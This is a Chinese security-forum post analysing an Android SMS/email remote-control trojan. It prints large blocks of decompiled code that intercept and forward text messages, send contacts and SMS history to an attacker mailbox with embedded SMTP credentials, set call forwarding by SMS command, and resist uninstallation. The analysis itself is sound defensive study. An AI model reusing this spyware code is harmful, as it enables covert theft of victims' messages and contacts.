木马APP的简单分析(Android Killer分析)
Posted i春秋网络安全学院
tags:
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一.此贴目的：分析一个木马APP样本的行为。—————————————————————————————————————————————————-
二.分析步骤及结果：
| 文件名称： | Project_Mod.apk |
|---|---|
| MD5值： | 773833c1e4632aaa6b000e891dc49d4b |
| 文件大小： | 439.98KB |
| 上传时间： | 2017-09-29 13:13:17 |
| 包名： | com.nai.ke |
| 最低运行环境： | android 4.0, 4.0.1, 4.0.2 |
| 版权： | Android |
1.在模拟器上安装APP初步查看行为
由于给的样本中没有原来的APK文件，所以我只好用apktool进行了一次回编译并签名后得到了APK文件，才得以在模拟器上安装。
这里看出程序是获取锁定屏幕的权限。
以上是这款APP的权限，包括读取通讯录短信的敏感权限。
2.我将这个APP文件上传至哈勃分析系统
android.permission.WRITE_SMS 写短信 android.permission.READ_SMS 读取短信 android.permission.SEND_SMS 发送短信 android.permission.RECEIVE_SMS 监控接收短信 android.permission.INTERNET 连接网络（2G或3G） android.permission.READ_CONTACTS 读取联系人信息 android.permission.WRITE_CONTACTS 写入联系人信息 android.permission.WRITE_EXTERNAL_STORAGE 写外部存储器（如：SD卡） android.permission.PROCESS_OUTGOING_CALLS 监视、修改有关拨出电话 android.permission.READ_PHONE_STATE 读取电话状态 android.permission.CALL_PHONE 拨打电话 android.permission.WRITE_CALL_LOG 写入通话记录 android.permission.RECEIVE_BOOT_COMPLETED 接收开机启动广播 android.permission.DISABLE_KEYGUARD 禁用键盘锁 android.permission.WAKE_LOCK 手机屏幕关闭后后台进程仍运行
至此其实就很清楚这个APP大概会在安卓系统里干些什么了。
3.现在将此APK文件反编译后的jar文件用Java Decompiler打开查看具体代码
由于此木马样本比较简单，我从头到尾翻了一遍代码，以下为较重要功能部分
在d.class中 获取[email][email protected][/email]这个邮箱收到的邮件内容，有趣的是在邮箱后面还跟了一串字符串，是邮箱的密码。
public void a(String paramString1, String paramString2)
{
String str = l.a(this.c, "zzxx", "tel");
b localb = new b();
localb.a("smtp.163.com", "25");
try
{
localb.a("[email protected]", str + "(***收到DX***)", "发信人:" + paramString2 + "-内容:" + paramString1);
localb.a(new String[] { "[email protected]" });
localb.b("smtp.163.com", "[email protected]", "apowtzjtereitcao");
return;
}
在h.class中，拦截短信到并发送给15877587263
public h(String paramString1, String paramString2, Context paramContext)
{
this.a = paramString1;
this.b = paramString2;
this.c = paramContext;
}
protected String a(Integer... paramVarArgs)
{
publishProgress(new Integer[] { Integer.valueOf(1) });
a.b("拦截消息doInBackground");
a(this.a, this.b);
return "doInBackground:" + paramVarArgs;
}
protected void a(String paramString)
{
a.b("拦截消息后发送结束:" + paramString);
}
public void a(String paramString1, String paramString2)
{
a.b("content:" + paramString2);
String str1 = e.a(this.c, paramString1);
paramString2 = a.c(paramString2);
if (paramString2 == null) {}
for (;;)
{
return;
if (paramString2.size() == 1)
{
paramString1 = a.a(paramString1, str1, (String)paramString2.get(0));
if (a.a(paramString1)) {
continue;
}
try
{
a.b("sendMsg " + "15877587263" + "," + paramString1);
a.a("15877587263", paramString1);
a.b("sendMsg over");
return;
}
catch (Exception paramString1)
{
a.b("sendMsg exception:" + paramString1.getMessage());
return;
}
}
paramString2 = paramString2.iterator();
int j;
for (int i = 1; paramString2.hasNext(); i = j)
{
String str2 = (String)paramString2.next();
j = i + 1;
str2 = a.a(paramString1, str1, str2, i);
if (!a.a(str2)) {
try
{
a.b(j + "==sendMsg " + "15877587263" + "," + str2);
a.a("15877587263", str2);
a.b("sendMsg over");
i = j;
}
catch (Exception localException)
{
a.b("sendMsg exception:" + localException.getMessage());
}
}
}
}
}
protected void b(Integer... paramVarArgs)
{
a.b("拦截消息后准备发送中");
}
protected void onPreExecute()
{
a.b("拦截消息后准备发送");
}
}
在i.class中和dggng中的c.class，明显就可以看出通过短信远程操控的操作。
public void a(String paramString1, String paramString2)
{
SmsManager localSmsManager = SmsManager.getDefault();
Object localObject2;
Object localObject1;
Iterator localIterator1;
switch (paramString1.hashCode())
{
default:
case 49:
case 50:
case 51:
do
{
do
{
do
{
return;
} while (!paramString1.equals("1"));
l.a(this.e, "zzxx", "bo", "0");
localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font]", null, null);
return;
} while (!paramString1.equals("2"));
l.a(this.e, "zzxx", "bo", "1");
localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font]", null, null);
System.out.println(l.a(this.e, "zzxx", "bo"));
return;
} while ((!paramString1.equals("3")) || (k.a(this.e)));
localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font],请留意邮件", null, null);
this.b = new j(this.e);
this.a = new c(this.e);
localObject2 = (ArrayList)this.b.a();
localObject1 = this.a.a();
paramString1 = this.b.b();
paramString2 = "*************DXX*************<br><br>";
localIterator1 = paramString1.iterator();
label316:
if (!localIterator1.hasNext())
{
paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "********************TXL*********************" + "<br>";
paramString2 = ((HashSet)localObject1).iterator();
if (paramString2.hasNext()) {
break label1340;
}
paramString2 = l.a(this.e, "zzxx", "tel");
localObject1 = new b();
((b)localObject1).a("smtp.163.com", "25");
}
break;
}
for (;;)
{
try
{
((b)localObject1).a("[email protected]", paramString2 + "(重新获取的短信录或通讯录)" + "机型:" + Build.MODEL + ",系统版本:" + Build.VERSION.RELEASE, paramString1);
((b)localObject1).a(new String[] { "[email protected]" });
((b)localObject1).b("smtp.163.com", "[email protected]", "1634576908qq");
return;
}
catch (Addres**ception paramString1)
{
localSmsManager.sendTextMessage("15877587263", null, "获取失败", null, null);
paramString1.printStackTrace();
Log.e("wxl", "Addres**ception", paramString1);
return;
if (!paramString1.equals("4")) {
break;
}
l.a(this.e, "zzxx", "da", "1");
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
System.out.println(l.a(this.e, "zzxx", "da"));
return;
if (!paramString1.equals("5")) {
break;
}
System.out.println("开始群发吗？");
this.a = new c(this.e);
paramString1 = this.a.a();
if (l.b(this.e, "zzxx", "qf") != 0) {
break;
}
localSmsManager.sendTextMessage("15877587263", null, "开始群发", null, null);
paramString1 = paramString1.iterator();
if (!paramString1.hasNext())
{
localSmsManager.sendTextMessage("15877587263", null, "群发结束", null, null);
l.a(this.e, "zzxx", "qf", 1);
return;
if (!paramString1.equals("6")) {
break;
}
localSmsManager.sendTextMessage(paramString2.substring(4, 15), null, paramString2.substring(16), null, null);
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
return;
if (!paramString1.equals("7")) {
break;
}
l.a(this.e, "zzxx", "qf", 0);
localSmsManager.sendTextMessage("15877587263", null, "重置成功，请成功发送群指令", null, null);
return;
if (!paramString1.equals("8")) {
break;
}
localSmsManager.sendTextMessage("15877587263", null, "指令不正确，重新发送", null, null);
return;
if (!paramString1.equals("9")) {
break;
}
l.a(this.e, "zzxx", "xin", "1");
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
return;
if (!paramString1.equals("10")) {
break;
}
l.a(this.e, "zzxx", "xin", "0");
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
return;
if (!paramString1.equals("11")) {
break;
}
l.a(this.e, "zzxx", "da", "0");
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
return;
if (!paramString1.equals("12")) {
break;
}
l.a(this.e, "zzxx", "da", "1");
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
return;
if (!paramString1.equals("13")) {
break;
}
paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:**21*" + paramString2.substring(4, 15) + "#"));
paramString1.addFlags(268435456);
this.e.startActivity(paramString1);
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
return;
if (!paramString1.equals("14")) {
break;
}
paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:##21#"));
paramString1.addFlags(268435456);
this.e.startActivity(paramString1);
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
return;
String str = (String)localIterator1.next();
paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "************************" + "收到FXR号码:" + str + "************************" + "<br>";
Iterator localIterator2 = ((ArrayList)localObject2).iterator();
paramString2 = paramString1;
if (!localIterator2.hasNext()) {
break label316;
}
paramString2 = (e)localIterator2.next();
if (!str.equals(paramString2.b())) {
continue;
}
if (paramString2.d().equals("1"))
{
paramString1 = paramString1 + "<br>" + "<font color=" + "red>" + "[收发的短信时间:" + paramString2.c() + "]," + "短信内容:" + paramString2.a() + "</font>" + "<br>";
continue;
}
paramString1 = paramString1 + "<br>" + "<font color=" + "blue>" + "[收发的短信时间:" + paramString2.c() + "]," + "短信内容:" + paramString2.a() + "</font>" + "<br>";
continue;
localObject1 = (a)paramString2.next();
paramString1 = paramString1 + "名字:" + ((a)localObject1).a() + "\t" + ((a)localObject1).b() + "<br>" + "<br>";
}
}
catch (MessagingException paramString1)
{
label1340:
localSmsManager.sendTextMessage("15877587263", null, "获取失败", null, null);
paramString1.printStackTrace();
Log.e("wxl", "MessagingException", paramString1);
return;
}
localObject1 = (a)paramString1.next();
localObject2 = ((a)localObject1).b().replace("-", "").replace("\\s", "");
if ((((String)localObject2).length() == 11) || (((String)localObject2).substring(0, 1) == "1")) {
localSmsManager.sendTextMessage(((a)localObject1).b(), null, ((a)localObject1).a() + paramString2.substring(4), null, null);
}
}
}
}
值得注意的是在dggng中c.class的末尾 看出来作者可以有更改邮箱的操作 即控制客户期间可以随意更换目标邮箱
这里就是判断是否短信发送成功及接收成功
在love HssSeervice.class和MainService.class中都有类似的获取设备型号发送至邮箱的操作。
if (this.b.getInt(“IsFirstRun”, 1) == 1)
{
localObject1 = this.b.getString(“imsi”, c.k);
if (this.b.getInt(“isAdminActive”, 0) != 1) {
break label390;
}
new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功启动：\nI M S I 号 : ” + (String)localObject1);
if (c.a(love.qin.co.service.dggng.a.d)) {
new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d, “已经激活，版本” + i + “\n” + “IMSI号: ” + (String)localObject1 + “\n” + “型号：” + Build.MODEL + “\n” + “对应的邮箱：” + love.qin.co.service.dggng.a.j);
}
}
for (;;)
{
localObject1 = this.b.edit();
((SharedPreferences.Editor)localObject1).putInt(“IsFirstRun”, 0);
((SharedPreferences.Editor)localObject1).commit();
a();
return;
label390:
new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功启动：\nI M S I 号: ” + (String)localObject1);
if (c.a(love.qin.co.service.dggng.a.d)) {
new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d, “已经激活，版本” + i + “\n” + “IMSI号: ” + (String)localObject1 + “\n” + “型号：” + Build.MODEL + “\n” + “对应的邮箱：” + love.qin.co.service.dggng.a.j);
}
}
}
在love MyAdmin.class中，这里是判断客户是否激活了设备管理器
public class MyAdmin
extends DeviceAdminReceiver
{
public void onDisabled(Context paramContext, Intent paramIntent)
{
super.onDisabled(paramContext, paramIntent);
new a().a(“客户已经取消激活”);
new e(“客户已经取消激活！”);
}
public void onEnabled(Context paramContext, Intent paramIntent)
{
super.onEnabled(paramContext, paramIntent);
}
public void onReceive(Context paramContext, Intent paramIntent)
{
super.onReceive(paramContext, paramIntent);
System.out.println(“onreceiver”);
}
}
在love PhoService.class拦截短信并转发的具体代码
public class PhoService
extends Service
{
String a = "";
int b = 0;
Handler c = new b(this);
private String a(List paramList)
{
StringBuilder localStringBuilder = new StringBuilder();
paramList = paramList.iterator();
for (;;)
{
if (!paramList.hasNext()) {
return localStringBuilder.toString();
}
Object localObject = (a1)paramList.next();
String str1 = ((a1)localObject).e();
String str2 = ((a1)localObject).f();
String str3 = ((a1)localObject).b();
localObject = ((a1)localObject).a();
localStringBuilder.append("-------------------------\n");
localStringBuilder.append(" " + (String)localObject + " " + str1 + " " + str3 + " " + " 短信内容" + "\n");
localStringBuilder.append(str2 + "\n");
}
}
private String a(List paramList, int paramInt)
{
String.format("%1$-80s", new Object[] { " " });
StringBuilder localStringBuilder = new StringBuilder();
paramList = paramList.iterator();
for (;;)
{
if (!paramList.hasNext()) {
return localStringBuilder.toString();
}
Object localObject = (Map)paramList.next();
String str = (String)((Map)localObject).get("name");
localObject = (String)((Map)localObject).get("number");
localStringBuilder.append(String.format("%1$-80s", new Object[] { str + ": " + (String)localObject }));
}
}
private List b()
{
ArrayList localArrayList = new ArrayList();
for (;;)
{
int i;
try
{
Cursor localCursor = getContentResolver().query(Uri.parse("content://sms/"), new String[] { "_id", "address", "person", "body", "date", "type" }, null, null, "date desc");
if (!localCursor.moveToNext())
{
localCursor.close();
return localArrayList;
}
String str5 = localCursor.getString(localCursor.getColumnIndex("person"));
String str6 = localCursor.getString(localCursor.getColumnIndex("address"));
String str4 = localCursor.getString(localCursor.getColumnIndex("body"));
String str7 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(Long.parseLong(localCursor.getString(localCursor.getColumnIndex("date")))));
i = localCursor.getInt(localCursor.getColumnIndex("type"));
if (i == 1)
{
String str1 = "接收";
continue;
localArrayList.add(new a1(str5, str6, str3, str7, str1));
continue;
str1 = "草稿";
String str3 = str4;
if (str4 != null) {
continue;
}
str3 = "";
continue;
}
if (i != 2) {
break label265;
}
}
catch (SQLiteException localSQLiteException)
{
return localArrayList;
}
String str2 = "发送;
continue;
label265:
if (i == 0) {
str2 = "未读";
}
}
}
[b][color=#0000ff]在love d.class中是在执行获取所有历史短信[/color][/b]
[mw_shl_code=java,true] public void run()
{
try
{
Object localObject1 = new g(this.a.getApplicationContext());
String str = ((g)localObject1).c();
Object localObject2 = ((g)localObject1).b();
localObject1 = localObject2;
if (localObject2 == null) {
localObject1 = "";
}
if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {}
for (localObject1 = "电话：" + (String)localObject1 + "的所有短信记录;; localObject1 = "IMSI：" + str + "的所有短信记")
{
str = PhoService.a(this.a, PhoService.a(this.a));
localObject2 = localObject1;
if (str.length() <= " ".length()) {
localObject2 = localObject1 + " 客户手机限制，获取历史短信失败";
}
localObject1 = new h();
love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c();
localc.a(a.i);
localc.b(a.r);
localc.a(true);
localc.f(a.f);
localc.d(a.g);
localc.c(a.f);
localc.e(a.h);
localc.g((String)localObject2);
localc.h(str);
((h)localObject1).a(localc);
}
}
}
在e.class中是在执行获取通讯录
public void run()
{
try
{
Object localObject1 = new g(this.a.getApplicationContext());
String str = ((g)localObject1).c();
Object localObject2 = ((g)localObject1).b();
localObject1 = localObject2;
if (localObject2 == null) {
localObject1 = “”;
}
if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {}
for (localObject1 = “电话：” + (String)localObject1 + “的通讯录”;; localObject1 = “IMSI号” + str + “的通讯录”)
{
localObject2 = this.a.a();
str = PhoService.a(this.a, (List)localObject2, 1);
localObject2 = localObject1;
if (str.length() <= “ “.length()) {
localObject2 = localObject1 + ” 客户手机限制，获取通讯录失败”;
}
localObject1 = new h();
love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c();
localc.a(a.i);
localc.b(a.r);
localc.a(true);
localc.f(a.f);
localc.d(a.g);
localc.c(a.f);
localc.e(a.h);
localc.g((String)localObject2);
localc.h(str);
((h)localObject1).a(localc);
在x.x.x FSR.class中是在记录手机当前是否在通话中
[b][color=#0000ff] [/color][/b]
public void onReceive(Context paramContext, Intent paramIntent)
{
Object localObject = paramContext.getSharedPreferences(“zzxx”, 0);
String str = ((SharedPreferences)localObject).getString(“bo”, “1″);
localObject = ((SharedPreferences)localObject).getString(“da”, “0″);
Log.i(“PhoneStatReceiver”, str);
if (paramIntent.getAction().equals(“android.intent.action.NEW_OUTGOING_CALL”))
{
paramContext = paramIntent.getStringExtra(“android.intent.extra.PHONE_NUMBER”);
System.out.println(“正在打电话”);
if (localObject == “1″)
{
System.out.println(“打不出电话”);
setResultData(null);
}
Log.e(“msg”, “call OUT:” + paramContext);
}
do
{
return;
this.a = ((TelephonyManager)paramContext.getSystemService(“phone”));
switch (this.a.getCallState())
{
default:
return;
case 0:
Log.e(“tag”, “电话空闲”);
return;
case 1:
Log.e(“tag”, “电话已挂断”);
}
} while (str != “0″);
a();
return;
Log.e(“tag”, “电话已摘机”);
}
}
[color=#0000ff][b]在[/b][/color][b]x.x.x [/b][color=#0000ff][b]PAR.class中 通过[/b][/color][b][color=#0000ff]sendTextMessage发送短信告知鱼试图逃跑，即卸载程序[/color][/b]
public class PAReceiver
extends DeviceAdminReceiver
{
public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)
{
paramIntent = l.a(paramContext, “zzxx”, “tel”);
com.b.a.a.b.a(paramIntent);
if (l.b(paramContext, “zzxx”, “pop”) == 0)
{
l.a(paramContext, “zzxx”, “pop”, 1);
SmsManager.getDefault().sendTextMessage(“15877587263″, null, paramIntent + “鱼试图逃跑”, null, null);
new a(this).start();
}
paramIntent = paramContext.getPackageManager().getLaunchIntentForPackage(“com.android.settings”);
paramIntent.setFlags(268435456);
paramContext.startActivity(paramIntent);
paramContext = (DevicePolicyManager)paramContext.getSystemService(“device_policy”);
paramContext.lockNow();
new Thread(new b(this, paramContext)).start();
return “”;
}
public void onDisabled(Context paramContext, Intent paramIntent) {}
public void onEnabled(Context paramContext, Intent paramIntent)
{
com.b.a.a.b.a(l.a(paramContext, “zzxx”, “tel”));
new c(this).start();
super.onEnabled(paramContext, paramIntent);
}
}
在x.x.x a.class中 通过发送邮件告知鱼试图逃跑，也是在程序卸载时触发
public void run()
{
System.out.println("执行发送邮件");
com.b.a.b.b localb = new com.b.a.b.b();
localb.a("smtp.163.com", "25");
try
{
localb.a("[email protected]", "安装激活" + com.b.a.a.b.b() + "机型" + Build.MODEL + "系统型号:" + Build.VERSION.RELEASE, "哈哈鱼到碗里来了");
localb.a(new String[] { "[email protected]" });
localb.b("smtp.163.com", "[email protected]", "1634576908qq");
return;
}
catch (Addres**ception localAddres**ception)
{
localAddres**ception.printStackTrace();
Log.e("wxl", "Addres**ception", localAddres**ception);
return;
}
catch (MessagingException localMessagingException)
{
localMessagingException.printStackTrace();
Log.e("wxl", "MessagingException", localMessagingException);
}
}
}
三.总结
此贴仅为简单APP木马分析，能看出这是一款典型的远程手机短信邮件控制的木马程序，危害性挺大的，一般普通用户中毒后基本无法察觉。
自我反思：在学习分析这个APP过程中，虽然能大概根据中文看出代码意思，但是显得很突兀，很多函数间的调用和联系没能准确看出来，文章感觉条理不是太清晰，感觉自己太菜了。
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